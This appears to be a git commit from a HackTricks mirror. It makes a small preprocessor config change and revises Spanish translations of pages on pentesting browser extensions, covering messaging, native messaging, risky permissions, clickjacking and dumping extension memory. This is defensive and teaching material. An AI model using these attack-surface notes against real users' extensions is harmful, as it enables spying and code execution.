mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
Translator
parent
1e03d976a7
commit
156821c639
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
||||
@ -30,14 +30,16 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
else:
|
||||
try:
|
||||
if href.endswith("/"):
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
||||
@ -29,7 +29,7 @@ La extensión permite un binario nativo que puede **acceder a la máquina host c
|
||||
> [!CAUTION]
|
||||
> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
|
||||
|
||||
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
|
||||
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
|
||||
|
||||
Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, lo que previene la filtración de funcionalidad de JavaScript.
|
||||
|
||||
@ -61,7 +61,7 @@ Ejemplo:
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||
Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -95,9 +95,9 @@ Un mensaje se envía a las páginas de la extensión por el script de contenido
|
||||
|
||||
> [!WARNING]
|
||||
> Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
|
||||
> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
|
||||
> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y retransmitir respuestas.
|
||||
|
||||
Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas de desarrollador O presionando Ctrl + Shift + I.
|
||||
Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
|
||||
|
||||
Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de Contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
|
||||
|
||||
@ -169,9 +169,9 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
```
|
||||
Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
|
||||
|
||||
### Scripts de Contenido `run_at`
|
||||
### Content Scripts `run_at`
|
||||
|
||||
El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
|
||||
El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`.
|
||||
|
||||
Los valores posibles son:
|
||||
|
||||
@ -179,7 +179,7 @@ Los valores posibles son:
|
||||
- **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script.
|
||||
- **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se hayan cargado subrecursos como imágenes y marcos.
|
||||
|
||||
#### A través de `manifest.json`
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
@ -326,8 +326,8 @@ browext-clickjacking.md
|
||||
Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
|
||||
- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
|
||||
- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
|
||||
- Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
|
||||
- Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
@ -352,9 +352,9 @@ Para comunicarse entre el script de contenido y la página web, generalmente se
|
||||
|
||||
### Dentro de la extensión
|
||||
|
||||
Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
|
||||
Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
|
||||
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, se puede usar para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
|
||||
|
||||
<details>
|
||||
|
||||
@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont
|
||||
|
||||
### Desde `externally_connectable` permitido a la extensión
|
||||
|
||||
**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando :
|
||||
**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**.
|
||||
|
||||
### Mensajería Nativa
|
||||
|
||||
Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](./#native-messaging).
|
||||
Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más tarde](./#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -456,9 +456,9 @@ Una comunicación segura de Post Message debe verificar la autenticidad del mens
|
||||
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
|
||||
- **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
|
||||
- Si se utiliza una expresión regular, ten mucho cuidado.
|
||||
- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
|
||||
- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
|
||||
|
||||
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**:
|
||||
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles elusiones de Post Message**:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -527,9 +527,9 @@ Una consideración importante es que en escenarios donde múltiples páginas est
|
||||
|
||||
Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
|
||||
|
||||
## Native Messaging
|
||||
## Mensajería Nativa
|
||||
|
||||
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
|
||||
Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que indique esto en un json como:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -567,34 +567,34 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE
|
||||
|
||||
## Información Sensible en Memoria/Código/Portapapeles
|
||||
|
||||
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas con Windows) y **buscada** para esta información.
|
||||
Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para esta información.
|
||||
|
||||
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
|
||||
|
||||
Por supuesto, **no pongas información sensible en el código**, ya que será **pública**.
|
||||
Por supuesto, **no ponga información sensible en el código**, ya que será **pública**.
|
||||
|
||||
Para volcar la memoria del navegador, podrías **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador, hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
|
||||
Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
|
||||
|
||||
Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
|
||||
|
||||
## Cargando una Extensión en el Navegador
|
||||
|
||||
1. **Descarga** la Extensión del Navegador y descomprímela.
|
||||
2. Ve a **`chrome://extensions/`** y **habilita** el `Modo de Desarrollador`.
|
||||
3. Haz clic en el botón **`Cargar descomprimido`**.
|
||||
1. **Descargue** la Extensión del Navegador y descomprímala.
|
||||
2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
|
||||
3. Haga clic en el botón **`Cargar descomprimido`**.
|
||||
|
||||
En **Firefox**, vas a **`about:debugging#/runtime/this-firefox`** y haces clic en el botón **`Cargar complemento temporal`**.
|
||||
En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
|
||||
|
||||
## Obtener el código fuente de la tienda
|
||||
|
||||
El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
|
||||
|
||||
### Descargar la Extensión como ZIP a través de la Línea de Comandos
|
||||
### Descargar Extensión como ZIP a través de la Línea de Comandos
|
||||
|
||||
El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP utilizando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP de una URL específica y luego extraer el contenido del archivo ZIP a un directorio. Aquí están los pasos:
|
||||
|
||||
1. Reemplaza `"extension_id"` con el ID real de la extensión.
|
||||
2. Ejecuta los siguientes comandos:
|
||||
1. Reemplace `"extension_id"` con el ID real de la extensión.
|
||||
2. Ejecute los siguientes comandos:
|
||||
```bash
|
||||
extension_id=your_extension_id # Replace with the actual extension ID
|
||||
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
|
||||
@ -616,7 +616,7 @@ Las extensiones de Chrome instaladas localmente también se pueden inspeccionar.
|
||||
2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil.
|
||||
3. Esta carpeta contiene todas las extensiones instaladas, típicamente con su código fuente en un formato legible.
|
||||
|
||||
Para identificar las extensiones, puedes mapear sus IDs a nombres:
|
||||
Para identificar extensiones, puedes mapear sus IDs a nombres:
|
||||
|
||||
- Habilita el Modo Desarrollador en la página `about:extensions` para ver los IDs de cada extensión.
|
||||
- Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible, ayudándote a identificar la extensión.
|
||||
@ -652,11 +652,11 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
|
||||
- [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
|
||||
- [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
|
||||
- [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la Extensión del Navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la Extensión del Navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la extensión del navegador
|
||||
- [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
|
||||
|
||||
## Riesgos de la Extensión del Navegador
|
||||
## Riesgos de Extensiones de Navegador
|
||||
|
||||
- La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador.
|
||||
|
||||
@ -668,24 +668,24 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
|
||||
- Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
|
||||
- **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
|
||||
- **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
|
||||
- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de solicitud de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
|
||||
- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
|
||||
- **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
|
||||
- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
|
||||
- Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
|
||||
- Fragmento de código relevante y línea que causó la alerta.
|
||||
- Descripción del problema.
|
||||
- Un botón de “Ver Archivo” para ver el archivo fuente completo que contiene el código.
|
||||
- Un botón “Ver Archivo” para ver el archivo fuente completo que contiene el código.
|
||||
- La ruta del archivo alertado.
|
||||
- La URI completa de la extensión de Chrome del archivo alertado.
|
||||
- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc.
|
||||
- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción de Navegador, etc.
|
||||
- Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluida, así como el tipo de estas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
|
||||
- **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de su extensión y también iluminará cualquier forma potencial de eludir su CSP debido a CDNs en la lista blanca, etc.
|
||||
- **Bibliotecas Conocidas Vulnerables**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
|
||||
- **Bibliotecas Vulnerables Conocidas**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
|
||||
- Descargar extensión y versiones formateadas.
|
||||
- Descargar la extensión original.
|
||||
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
|
||||
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché.
|
||||
- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
|
||||
- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
|
||||
- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
|
||||
@ -79,7 +79,7 @@ Un [**artículo de blog sobre un ClickJacking en metamask se puede encontrar aqu
|
||||
|
||||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima haga clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
|
||||
**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima hiciera clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
|
||||
|
||||
## Ejemplo de Steam Inventory Helper
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
|
||||
|
||||
### `host_permissions`
|
||||
|
||||
La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||
La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||
|
||||
Los siguientes `host_permissions` permiten básicamente todos los web:
|
||||
```json
|
||||
@ -59,9 +59,9 @@ Ambas API permiten ejecutar no solo archivos contenidos en las extensiones como
|
||||
|
||||
### Privilegios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
Algunos privilegios de la extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
|
||||
Algunos privilegios de extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
|
||||
|
||||
¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos inofensiva. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
|
||||
¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos así. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Una extensión puede crear cualquier número de pestañas cuando quiera.
|
||||
@ -79,7 +79,7 @@ Probablemente sepas que los sitios web pueden solicitar permisos especiales, por
|
||||
|
||||
Típicamente, una extensión lo hará inmediatamente después de ser instalada. Una vez que se acepta este aviso, **el acceso a la cámara web es posible en cualquier momento**, incluso si el usuario no está interactuando con la extensión en ese momento. Sí, un usuario solo aceptará este aviso si la extensión realmente necesita acceso a la cámara web. Pero después de eso, deben confiar en que la extensión no grabará nada en secreto.
|
||||
|
||||
Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [el contenido de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
|
||||
Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenidos de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
|
||||
|
||||
Agregar la palabra clave **`history`** a la [entrada de permisos](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente.
|
||||
|
||||
@ -99,9 +99,9 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
|
||||
|
||||
La política del desarrollador de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos.
|
||||
|
||||
Los navegadores podrían limitar aún más el abuso de los privilegios de las extensiones. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
|
||||
Los navegadores podrían limitar aún más el abuso de los privilegios de extensión. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
|
||||
|
||||
Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
|
||||
Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El [permiso activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
|
||||
|
||||
## **Referencias**
|
||||
|
||||
|
||||
@ -94,7 +94,7 @@ Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **
|
||||
[...]
|
||||
],
|
||||
```
|
||||
